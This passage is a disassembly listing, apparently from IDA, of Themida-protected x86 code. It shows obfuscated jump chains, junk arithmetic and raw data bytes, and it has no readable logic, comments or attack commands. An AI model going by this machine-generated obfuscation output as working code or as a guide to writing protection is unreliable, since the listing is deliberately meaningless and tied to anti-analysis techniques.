		dd 0CFFCh, 1D61E940h, 0E9550000h, 8BE8h, 54241C89h, 0E9241C8Bh
		dd 0B615h
; ---------------------------------------------------------------------------


loc_5998B4:				; CODE XREF: Themida_:00595E9Cj
		sub	esi, 875418EDh
		add	eax, 775A5F72h
		jmp	loc_59F5E1
; ---------------------------------------------------------------------------
aNfqM		db '·nfQ±M',0
		db 0CFh
		dd 0FFE821E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5998D1:				; CODE XREF: Themida_:0059F494j
		push	ecx
		mov	ecx, 3F3D4FBCh
		neg	ecx
		xor	ecx, 0C0C2B040h
		add	edi, ecx
		jmp	loc_59F40D
; ---------------------------------------------------------------------------


loc_5998E6:				; CODE XREF: Themida_:0059AD03j
		neg	ebp
		xor	ebp, 9DC1F044h
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 51C03186h
		shr	eax, 1
		jmp	loc_59971F
; ---------------------------------------------------------------------------


loc_5998FE:				; CODE XREF: Themida_:00598CB4j
		push	ecx
		mov	ecx, 55445C32h
		jmp	loc_5A1904
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 86h
		dd 0FF7CBA58h, 83582434h, 348704C4h, 24248B24h,	0CCE9E1F7h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599923:				; CODE XREF: Themida_:005962C4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A4B32
; ---------------------------------------------------------------------------
		dd 0AA1DE95Eh, 0EB01FFFFh, 8B2434FFh, 0C481242Ch, 4, 4C481h
		dd 0B9510000h, 17CC3BF5h, 0AFFF181h, 0CB29556Ch, 51C32959h
		dd 7C22C3B9h, 4E9C159h,	0F326F181h, 0EB814737h,	65FA3386h
		dd 0FFCEDCE9h, 34FF5DFFh, 0C4835824h, 0B0EE8104h, 0E962706Eh
		dd 13Fh, 33240431h, 63E92404h, 8100005Ah, 0C30242C2h, 3A9E90Fh
		dd 0E8010000h, 0FE277705h, 242C8B7Bh, 4C481h, 0D4E90000h
		dd 0C1000060h, 0DDF708EDh, 0F581DDF7h, 1D0069B5h, 29CEED81h
		dd 0EF897AF4h, 5FFE315Dh, 315EF589h, 242C8BEBh,	4C481h
		dd 0D8010000h, 0E9241C8Bh, 9AFh, 71FE68h, 242C8900h, 5C76857h
		dd 895F4234h, 0CA4FE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599A02:				; CODE XREF: Themida_:00594DC3j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_597CF1
; ---------------------------------------------------------------------------


loc_599A0B:				; CODE XREF: Themida_:0059498Aj
		dec	edx
		jmp	loc_5988E7
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FF8F87E9h, 242C8BFFh, 4C481h, 0C1830000h, 240C3302h
		dd 72C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_599A2D:				; CODE XREF: Themida_:0059E4AEj
		push	4D55226Eh
		pop	ebp
		jmp	loc_5A2CAE
; ---------------------------------------------------------------------------
		dd 0EC835A54h, 241C8904h, 51E48BBh, 44EB8140h, 5740051Eh
		dd 114863BFh, 5FFA0141h, 0EA81DA01h, 41114863h,	0C7BB535Bh
		dd 813CE339h, 0D81E52C3h, 0B4F3E936h, 14330000h, 24248B24h
		dd 0F66F1F6h, 5453CCB6h, 4C3815Bh, 51000000h, 4B9h, 59CB2900h
		dd 0E9241C87h, 0FFFF970Ah
; ---------------------------------------------------------------------------


loc_599A94:				; CODE XREF: Themida_:00599725j
		mov	ebp, 206A2FA0h
		xor	ebp, 147368FEh
		or	eax, ebp
		pop	ebp
		xor	eax, 79A22362h
		push	esi
		jmp	loc_59F29B
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0E9h
		dd 0FFFF84BCh, 66F72966h, 0FB29665Eh, 0C381665Fh, 16649EFh
		dd 0EB8166C3h, 3FE949EFh, 81FFFFDCh, 0FC6043EEh, 59C68172h
		dd 161B550h, 59EE81D6h,	8161B550h, 0FC6043C6h, 0B0BB5372h
		dd 162706Eh, 0A35DE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599AF6:				; CODE XREF: Themida_:0059570Dj
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 1F814FDCh
		sub	eax, 7E674D03h
		sub	eax, 0A857166h
		jmp	loc_5A0735
; ---------------------------------------------------------------------------
		dw 0DFF6h
		dd 0EF80C7FEh, 451E964h, 57530000h, 0B01593BFh,	5FFB8919h
		dd 3B98E9h, 3EFA2D00h, 13E955AFh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599B33:				; CODE XREF: Themida_:005A33CDj
		shl	ebp, 7
		jmp	loc_5A69D0
; ---------------------------------------------------------------------------
		db 5Ah
		dd 37E9D801h, 0ACFFFFABh, 0BBE9D830h, 8B000097h, 89502414h
		dd 405E0h, 0C0830000h, 24048704h, 0C0ACE95Ch, 0EC81FFFFh
		dd 4, 0B4240489h, 58E70095h, 0C8E9FD88h, 0B9000096h, 5F4E0C1Fh
		dd 0E959CB89h, 4406h
; ---------------------------------------------------------------------------


loc_599B84:				; CODE XREF: Themida_:0059DA24j
		add	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	3EBDh
		jmp	loc_5958B1
; ---------------------------------------------------------------------------


loc_599B96:				; CODE XREF: Themida_:0059AA3Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5965A3
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 8BE828EBh, 8953240Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 0B3535C24h, 30ADE95Eh, 0C0B10000h, 0CF2852B7h, 59EF2859h
		dd 0ED80CBB5h, 80FD0087h, 835B87C5h, 0ACE904ECh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599BDF:				; CODE XREF: Themida_:0059573Bj
		push	6FCAh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59BC6D
; ---------------------------------------------------------------------------
aI4TSK		db '‰4$T^éÄK',0
		dw 2100h
		dd 0E9525BD9h, 0FFFFD0E3h
; ---------------------------------------------------------------------------


loc_599C04:				; CODE XREF: Themida_:0059409Cj
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, 2023D20h
		xor	ebx, 7FAE00D9h
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		jmp	loc_59DEB7
; ---------------------------------------------------------------------------
		db 59h
		dd 0BA52CB01h, 6D585C6Ah, 2CA81h, 0CCE95714h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599C37:				; CODE XREF: Themida_:005A14E2j
		neg	edx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_59B210
; ---------------------------------------------------------------------------
		db 68h
		dd 2033h, 0FFE28AE9h, 98685DFFh, 89000064h, 0EABD242Ch
		dd 0E93A5F5Dh, 11E5h, 515EF221h, 0FF8CDAE9h, 21685BFFh
		dd 89000007h, 0EBBB241Ch, 812C1E10h, 2E657FF3h,	5EC3816Eh
		dd 1C9E8D7h, 0C8015BD8h, 194CF22Dh, 4EC810Ch, 89000000h
		dd 0BB532414h, 58BF66F2h, 1C8BDA89h, 4C48124h, 1000000h
		dd 68595AD0h, 1599h, 54240489h,	0A0BD5558h, 817A0421h
		dd 4219CEDh, 0E9E8017Ah, 0B95Eh, 4055854h, 56000000h, 0D125E5BEh
		dd 2E6C145h, 0BF57DEF7h, 0DE15F5Bh, 68BCF81h, 0CF815262h
		dd 7ACC04EDh, 533CE9h, 5DEA8900h, 148BD789h, 8825E924h
		dd 0C4810000h, 4, 1DFABA52h, 814A2BFBh,	0C5DD2FEAh, 7D7BE900h
		dd 48B0000h, 4EC8124h, 89000000h, 5AE92434h, 5E00007Ch
		dd 5C24048Fh, 9C240428h, 0FF8237E9h, 81DE29FFh,	2C664EC6h
		dd 68FCE963h, 8B5A0000h, 52E9242Ch, 5B0000C1h, 0EA81C201h
		dd 56637FFAh, 0FF8213E9h, 4B8FFh, 0C5810000h, 56F7E84h
		dd 13B7ED81h, 14E911F7h, 0BE00009Fh, 13863A7Eh,	427F68h
		dd 3708E900h, 0C1810000h, 4, 4C181h, 0C870000h,	4875C24h
		dd 24895C24h, 24048324h, 81CEE904h, 0E8C0FFFFh,	5225E906h
		dd 0D1680000h, 89000009h, 5053240Ch, 8DB779B4h,	5258E730h
		dd 163FE9h, 0E1895100h,	0FFAD33E9h, 243C33FFh, 33243C31h
		dd 248B243Ch, 796CE924h, 1C890000h, 4BB24h, 0DA010000h
		dd 4F3AE9h, 68C38100h, 0FF40683Ah, 0A7E92434h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599DF7:				; CODE XREF: Themida_:0059FCE2j
		shr	ecx, 1
		add	ecx, 0FF09DC37h
		add	ebp, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	34F0h
		mov	[esp], edi
		mov	edi, 40EB6C35h
		neg	edi
		or	edi, 0AEF005Ah
		sub	edi, 0BFFF93D7h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5A494E
; ---------------------------------------------------------------------------
aMsan		db '¬é ',0
		align 4
		dd 96056EBFh, 5FFD0166h, 315BED81h, 148B02F3h, 4C48124h
		dd 33000000h, 0C7E9242Ch, 520000ABh, 184768h, 24248900h
		dd 4240483h, 4C2815Ah, 0E9000000h, 65BBh, 81595451h, 4C1h
		dd 4E98100h, 0E9000000h, 0FFFFEA96h, 8704C583h,	525C242Ch
		dd 40E9E289h, 68FFFF94h, 1710h,	52240489h, 0A12D9BAh, 94BA521Bh
		dd 170C039h, 5A082454h,	4245401h, 4246C81h, 70C03994h
		dd 0EB815B5Ah, 1B0A12D9h, 0FFD3D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599EC9:				; CODE XREF: Themida_:0059BFE2j
		mov	[esp], esp
		jmp	loc_5A4023
; ---------------------------------------------------------------------------


loc_599ED1:				; CODE XREF: Themida_:005996CBj
		mov	ebp, 473E243Eh
		push	ebx
		mov	ebx, 120536DBh
		jmp	loc_594766
; ---------------------------------------------------------------------------


loc_599EE1:				; CODE XREF: Themida_:00595614j
		pop	dword ptr [esp]
		pop	esp
		div	cx
		jmp	loc_594709
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E9243C31h, 0FFFFB2FCh, 4EC8358h, 0B8240489h, 8126A7Ah
		dd 0E98E9h, 24348900h, 71E9E689h, 0F6FFFF92h, 7E9C0D1h
		dd 0E928E980h, 0FFFFEF3Ch
; ---------------------------------------------------------------------------


loc_599F20:				; CODE XREF: Themida_:0059F3CCj
		and	edi, esi
		pop	esi
		jmp	loc_5943D4
; ---------------------------------------------------------------------------


loc_599F28:				; CODE XREF: Themida_:005A5BB4j
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_59B9C1
; ---------------------------------------------------------------------------


loc_599F3B:				; CODE XREF: Themida_:0059473Fj
		mov	ebx, esp
		push	esi
		jmp	loc_59BBE0
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8B62414h, 885AF388h, 4570E9D9h, 48F0000h, 878EE924h
		dd 0C5010000h, 5124048Bh, 0B5DCE9h, 0DBE95400h,	20FFFFADh
		dd 0F911E9F8h, 8D05FFFFh, 29132C26h, 2764E9D8h,	81660000h
		dd 6674DFEFh, 198DEF81h, 52EF0166h, 24C4E9h, 2B5EBB00h
		dd 0D909647Eh, 2E9C15Bh, 2781C181h, 0CF012F9Ch,	4DAE9h
		dd 5A1A6800h, 1C890000h, 63CABB24h, 0D3F70775h,	0FF9127E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599FBD:				; CODE XREF: Themida_:0059D325j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 4
		jmp	loc_593C6F
; ---------------------------------------------------------------------------
		dd 51520DB5h, 0D2E96FB1h, 89FFFFE5h, 0DB59E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599FE6:				; CODE XREF: Themida_:005A3FA1j
		neg	ecx
		jmp	loc_59F878
; ---------------------------------------------------------------------------


loc_599FED:				; CODE XREF: Themida_:005973BEj
		pop	ebx
		mov	esi, edx
		jmp	loc_598FA0
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 92h
		dd 0E934C75Dh, 0FFFF961Bh
; ---------------------------------------------------------------------------


loc_59A000:				; CODE XREF: Themida_:005A539Cj
		mov	eax, 5F6A1968h
		sub	edi, eax
		pop	eax
		sub	edi, ecx
		add	edi, 5F6A1968h
		mov	ecx, [esp]
		add	esp, 4
		std
		push	eax
		mov	eax, 1F0610Fh
		push	326h
		mov	[esp], edx
		push	ebx
		jmp	loc_5A1E51
; ---------------------------------------------------------------------------


loc_59A02E:				; CODE XREF: Themida_:005A417Ej
		sub	esp, 4
		jmp	loc_591F93
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 0F2BB5358h, 2958BF66h, 0FC27E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A046:				; CODE XREF: Themida_:0059F589j
		push	ecx
		push	eax
		mov	eax, 41895821h
		sub	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		add	edx, 41895821h
		pop	ecx
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, edi
		jmp	loc_5A4921
; ---------------------------------------------------------------------------


loc_59A06E:				; CODE XREF: Themida_:005A6B98j
		shr	ebp, 8
		push	ebp
		neg	dword ptr [esp]
		jmp	loc_59C321
; ---------------------------------------------------------------------------
		dw 515Bh
		dd 74AC3B9h, 7E9C15Eh, 0D1F7D9F7h, 7841E9h, 24348700h
		dd 0E9C3305Ch, 46B8h
; ---------------------------------------------------------------------------


loc_59A098:				; CODE XREF: Themida_:00593431j
		xchg	ebp, [esp]
		jmp	loc_597168
; ---------------------------------------------------------------------------


loc_59A0A0:				; CODE XREF: Themida_:005A3296j
		xor	ebx, 0FBFEF85h
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5A1D2F
		push	dword ptr [edi+28h]
		sub	esp, 4
		jmp	loc_5A2CDC
; ---------------------------------------------------------------------------


loc_59A0CA:				; CODE XREF: Themida_:005A0380j
		mov	ebp, edx
		jmp	loc_59B52D
; ---------------------------------------------------------------------------
a_hgx		db '_hgX',0
		dw 8900h
		dd 63E92414h, 6600001Fh, 6633B768h, 86241C89h, 0F6012474h
		dd 247430D6h, 24743201h, 24743001h, 0E95B6601h,	0FFFF9290h
		dd 5E08950h, 4,	0E904C083h, 0FFFFDDABh,	193B1CBBh, 1B87E91Ch
		dd 0C4830000h, 24148B04h, 8104C483h, 0EE5037C1h, 81E98150h
		dd 147AC7Fh, 81C181D9h,	8147AC7Fh, 0EE5037E9h, 2434FF50h
		dd 4C4815Bh, 83000000h,	0FE904ECh, 5FFFFF90h, 31241433h
		dd 14332414h, 0BB535C24h, 30B87F1Fh, 8104EBC1h,	0FB61DFEBh
		dd 0DCCCE97Bh, 0F180FFFFh, 59CB00DBh, 42E9C328h, 8BFFFFB3h
		dd 34FF2424h, 0ACDDE924h, 1580000h, 29E956FBh, 0F70000A9h
		dd 0B04FE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A196:				; CODE XREF: Themida_:005A0443j
		push	7423172Eh
		pop	esi
		and	esi, 6CF7084Eh
		add	esi, 0FFFFFFFFh
		and	esi, 463F3722h
		add	esi, 0CB1526F8h
		xor	edx, esi
		pop	esi
		jmp	loc_59DD89
; ---------------------------------------------------------------------------
		db 2Ch,	98h, 4
		dd 97DDE9BFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A1C2:				; CODE XREF: Themida_:00595319j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59A88E
; ---------------------------------------------------------------------------
		db 89h
		dd 68B9240Ch, 0E954B351h, 0FFFFEB6Ah, 4C481h, 40E90000h
		dd 5E000054h, 0C84CF405h, 7E0C141h, 0C050E9h, 241C8700h
		dd 0FFCED3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A201:				; CODE XREF: Themida_:005A22C6j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	1636h
		jmp	loc_598BEC
; ---------------------------------------------------------------------------


loc_59A214:				; CODE XREF: Themida_:005969EAj
		push	esi
		push	ecx
		mov	ecx, 6DE64319h
		sub	ecx, 4EED06FBh
		and	ecx, 4E1310CAh
		add	ecx, 659F503Bh
		xor	ecx, 41F14E7Bh
		shl	ecx, 1
		xor	ecx, 4AFC3A72h
		inc	ecx
		push	edi
		mov	edi, 2F7947B1h
		shr	edi, 5
		xor	edi, 1133EB05h
		or	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 6
		jmp	loc_5A4818
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 5CE904C4h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A267:				; CODE XREF: Themida_:005922BEj
		pop	esi
		sub	esi, 3260049h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 441B63F8h
		add	ecx, ebx
		add	ecx, 441B63F8h
		pop	ebx
		jmp	loc_5A6589
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0B4EF814Fh, 0C19F8D3Bh, 0EFC105EFh, 45C3E908h, 89530000h
		dd 4C381E3h, 56000000h,	4BEh, 8BF30100h, 0C4812434h, 4
		dd 5C241C87h, 685AD030h, 2F97h,	43F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A2C9:				; CODE XREF: Themida_:0059CD5Aj
		mov	ebx, 7A427380h
		xor	edx, ebx
		pop	ebx
		or	eax, edx
		pop	edx
		xor	eax, 30DA77E9h
		and	eax, 65555349h
		push	ebx
		jmp	loc_5A064A
; ---------------------------------------------------------------------------
		dd 53240489h, 0B252ACB3h, 0F6E2D067h, 9F52E9D2h, 0F1810000h
		dd 690044B7h, 8159C889h, 4B6405EFh, 90FBE960h, 70680000h
		dd 89000040h, 4BB241Ch,	0E9000000h, 0FFFF804Ch,	0CFBA5257h
		dd 4A10124Bh, 5443E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A329:				; CODE XREF: Themida_:005A67E1j
		mov	[esp], ebx
		push	esi
		push	243718CAh
		mov	esi, [esp]
		jmp	loc_5952F4
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 7740259Fh, 0C181D101h, 7740259Fh, 0C0BE981h,	9BE94F08h
		dd 89FFFFF3h, 0F99BE9CDh, 0F528FFFFh, 6C70E9h, 0DBF75F00h
		dd 8107EBC1h, 18DCAFEBh, 22C78101h, 10E0A03h, 0A70AE9DFh
		dd 34890000h, 4EC8124h,	0E9000000h, 0B160h, 5C243C87h
		dd 437BE9h, 447BBA00h, 61E97312h, 8300003Eh, 0EC8104C4h
		dd 4, 0E9242C89h, 240h,	0D5885B66h, 8B2434FFh, 0C4832414h
		dd 7F84E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A3BE:				; CODE XREF: Themida_:005A3619j
		add	esp, 4
		jmp	loc_598B47
; ---------------------------------------------------------------------------


loc_59A3C9:				; CODE XREF: Themida_:00592024j
		push	ecx
		jmp	loc_592EEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54552414h, 4C5815Dh,	81000000h, 4C5h, 242C8700h, 2C6815Ch
		dd 33000000h, 34312434h, 0B27BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A3F6:				; CODE XREF: Themida_:005A4014j
		pop	esp
		shr	ecx, 6
		push	76A9h
		mov	[esp], ebx
		jmp	loc_59FF84
; ---------------------------------------------------------------------------
		db 81h
		dd 266EDE1h, 81D1F74Ah,	934548F1h, 8141496Bh, 29B487C1h
		dd 59CA89B2h, 15BDA29h,	24148BD0h, 5004C483h, 42474FFh
		dd 24048F58h, 4C5815Ch,	56000000h, 0B5E83BEh, 4EEC11Ch
		dd 3540EE81h, 0DEF71154h, 9D6CE9h, 2B800h, 0C6010000h
		dd 0FF2434FFh, 81582434h, 4C4h,	4C48300h, 2474FF56h, 5B49E904h
		dd 0C7810000h, 0EF3CB724h, 15FFE89h, 0CAE95EF7h, 5900007Ah
		dd 2EA4EF81h, 0F70120FAh, 2EA4C781h, 0BB5320FAh, 6D5C0380h
		dd 5E5BDF29h, 79868h, 24048900h, 0CC0DEEB8h, 6D48255Bh
		dd 0E0C115A3h, 0A8FC2D05h, 0C7013001h, 243C8758h, 5524248Bh
		dd 0E572C0BDh, 2444811Ch, 0B04BE404h, 2444811Ch, 0BA58DD04h
		dd 8224E90Bh, 6CB1FFFFh, 88CE8852h, 549FE9F7h, 0E95A0000h
		dd 0FFFFC0E2h, 0E9243433h, 9FAEh, 0E9241C89h, 778Eh, 0E189515Bh
		dd 4C181h, 0C1830000h, 7FE95104h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A50F:				; CODE XREF: Themida_:0059BB32j
		xor	ecx, 0ADBD5507h
		add	edi, ecx
		pop	ecx
		not	edi
		and	edi, 20424ABFh
		add	edi, 3A65F3EDh
		xor	ebp, edi
		pop	edi
		xor	eax, ebp
		jmp	loc_5A5B3F
; ---------------------------------------------------------------------------


loc_59A530:				; CODE XREF: Themida_:00596E45j
		pop	eax
		push	eax
		jmp	loc_59E971
; ---------------------------------------------------------------------------
		db 1
		dd 0C875FF9h, 0C3835C24h, 241C3302h, 33241C31h,	248B241Ch
		dd 0C8B6624h, 0E0895024h, 4BD55h, 0D1E90000h, 810000B4h
		dd 0CA6E1FEBh, 612AE988h, 148B0000h, 4C48124h, 57000000h
		dd 4BFh, 5FFA0100h, 8904EC83h, 2EB82404h, 3542A825h, 42A8252Ch
		dd 0B94C281h, 0C20154E8h, 0B94EA81h, 99E954E8h,	81FFFFE9h
		dd 9365AC9h, 0E9C14136h, 9E7AE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A5AE:				; CODE XREF: Themida_:0059A671j
		push	edx
		mov	edx, 164347B4h
		mov	ecx, edx
		pop	edx
		jmp	loc_59D067
; ---------------------------------------------------------------------------
		dd 8B241C33h, 0FEE92424h, 810000A1h, 4C4h, 0DA70E900h
		dd 0C481FFFFh, 4, 3B7768h, 55FDE900h, 91B90000h, 0E961BB74h
		dd 0BB99h, 4D186DBDh, 0F348E95Bh, 0E381FFFFh, 778A0B2Bh
		dd 891CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A601:				; CODE XREF: Themida_:00598906j
		pop	eax
		jmp	loc_5A6293
; ---------------------------------------------------------------------------
		db 59h
		dd 7F0CEE81h, 0C68169FDh, 2B8C62C0h, 0EE81FE01h, 2B8C62C0h
		dd 6944B850h, 82357875h, 0D400744h, 96370BDh, 0AD5D8A2Dh
		dd 1E9E0D23h, 0D05643Eh, 1F3FF40h, 0E95F58C6h, 1609h, 8924248Bh
		dd 0B5512414h, 0B7B7535Fh, 0FE02E7C0h, 21EF80CFh, 0C06DB652h
		dd 0EE8006EEh, 80CEFE1Ah, 0F7280EEEh, 23FEE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A66E:				; CODE XREF: Themida_:005A01F6j
		mov	[esp], ecx
		jmp	loc_59A5AE
; ---------------------------------------------------------------------------
		dw 9BDh
		dd 2948D81Fh, 0C6815DEEh, 60FC2F44h, 5D2434FFh,	456A68h
		dd 24148900h, 52E95A54h, 87000010h, 0D6E9241Ch,	68FFFFACh
		dd 7629h, 0E9241C89h, 0FFFFFA64h
; ---------------------------------------------------------------------------


loc_59A6AC:				; CODE XREF: Themida_:005A5213j
		pop	esi
		xor	ecx, 3DAB6EC0h
		add	ecx, 45C03080h
		inc	ecx
		dec	ecx
		jmp	loc_5A0CB9
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEA0100h, 8704C283h, 248B2414h, 0ADEDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A6D6:				; CODE XREF: Themida_:0059934Bj
		pop	ebx
		neg	ebx
		or	ebx, 55D3BBBh
		sub	ebx, 76109AF5h
		mov	esi, ebx
		pop	ebx
		sub	esi, 1
		push	edi
		mov	edi, 758D35D9h
		sub	esi, 1465BBAh
		sub	esi, 424402BDh
		sub	esi, edi
		add	esi, 424402BDh
		add	esi, 1465BBAh
		pop	edi
		jmp	loc_5A3AC7
; ---------------------------------------------------------------------------


loc_59A714:				; CODE XREF: Themida_:005987E8j
		mov	esp, [esp]
		push	7C90h
		mov	[esp], edi
		push	772C1164h
		pop	edi
		push	eax
		mov	eax, 1870216Ah
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, 1A787ABCh
		not	ebx
		inc	ebx
		sub	ebx, 0DC381F6Ah
		sub	esp, 4
		jmp	loc_597A89
; ---------------------------------------------------------------------------
		db 66h
		dd 835FF829h, 896602ECh, 0BDE92404h, 510000C0h,	4B9h, 8BCB0100h
		dd 95E9240Ch, 880000B9h, 5AD488FAh, 0E788D4F6h,	8324048Bh
		dd 0B36804C4h, 89000074h, 91B02404h, 0FF8DA5E9h, 241C8BFFh
		dd 0E904C483h, 5810h, 0FF79F781h, 0B86816D5h, 0E9000026h
		dd 0FFFFEE62h, 2FADE958h, 0F74E0000h, 79E681D6h, 8154BB1Ah
		dd 604AAEC6h, 0E9F08910h, 0AE4Ah
; ---------------------------------------------------------------------------


loc_59A7BC:				; CODE XREF: Themida_:005A47C0j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_593BB4
; ---------------------------------------------------------------------------
		dd 0C002EAC0h, 0CF6805EAh, 89000068h, 0B252240Ch, 0D08850A4h
		dd 5A58C588h, 59E9DDF6h, 0BDFFFFE1h, 92918196h,	815DEE01h
		dd 6F54C2C2h, 81F20109h, 6F54C2EAh, 14875E09h, 24D35C24h
		dd 40E99C24h, 8F0000A2h, 4FE92404h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A81F:				; CODE XREF: Themida_:005A2F80j
		add	edx, 4
		jmp	loc_5A02A0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0AC3A35D8h, 0C189CB82h, 37F3E9h, 0E9EDD100h,	0C7C3h
; ---------------------------------------------------------------------------


loc_59A83C:				; CODE XREF: Themida_:00595431j
		mov	bh, 40h
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0C9h
		jmp	loc_596ABA
; ---------------------------------------------------------------------------
		db 31h
		dd 0CF015EF1h, 83240C8Bh, 0F83104C4h, 0DFD685Fh, 34890000h
		dd 71B26824h, 4890000h,	6482B824h, 0EC8116D7h, 4, 0E9241C89h
		dd 9A92h
; ---------------------------------------------------------------------------


loc_59A87C:				; CODE XREF: Themida_:005A528Aj
		mov	eax, 65CB3F6Ah
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0110
; ---------------------------------------------------------------------------


loc_59A88E:				; CODE XREF: Themida_:0059A1CEj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_59BDC0
; ---------------------------------------------------------------------------


loc_59A899:				; CODE XREF: Themida_:00598B4Ej
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 12A206F2h
		jmp	loc_5A6CD2
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0E2E92414h, 2CFFFF7Eh
		dd 5A732C0Dh, 0EC81D800h, 4, 0B2241489h, 2EAC064h, 0F61AF280h
		dd 0F4C4E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A8E6:				; CODE XREF: Themida_:00596316j
		add	esp, 4
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, 25F10E71h
		sub	edi, edx
		add	edi, 25F10E71h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A6BB0
; ---------------------------------------------------------------------------
		dd 148BD189h, 0A5D4E924h, 815EFFFFh, 9D18DEF5h,	0F5B95162h
		dd 0E92C825Ah, 0FFFFEB9Fh, 870EB81h, 42E90C1Bh,	0BD00001Eh
		dd 1C8E12E3h, 6735E9h, 4EC8100h, 89000000h, 0E9522424h
		dd 98A2h, 8B2434FFh, 0C4832414h, 0E0895004h, 405h, 40500h
		dd 4870000h, 0BF575C24h, 704C2E33h, 89F88950h, 779EE9C3h
		dd 0D8F70000h, 0F8EF9C2Dh, 58C201A0h, 4EA81h, 14870000h
		dd 79E95C24h, 58FFFFC0h, 4140E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A99E:				; CODE XREF: Themida_:005A69D6j
		mov	edi, ebp
		pop	ebp
		or	ebp, edi
		pop	edi
		sub	ebp, 30F405C3h
		jmp	loc_5A1298
; ---------------------------------------------------------------------------


loc_59A9AF:				; CODE XREF: Themida_:00592164j
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5990A4
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 25DA2B88h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	1225h
		mov	[esp], eax
		push	esi
		push	629127AEh
		pop	esi
		shr	esi, 1
		xor	esi, 49108F37h
		jmp	loc_5A169D
; ---------------------------------------------------------------------------
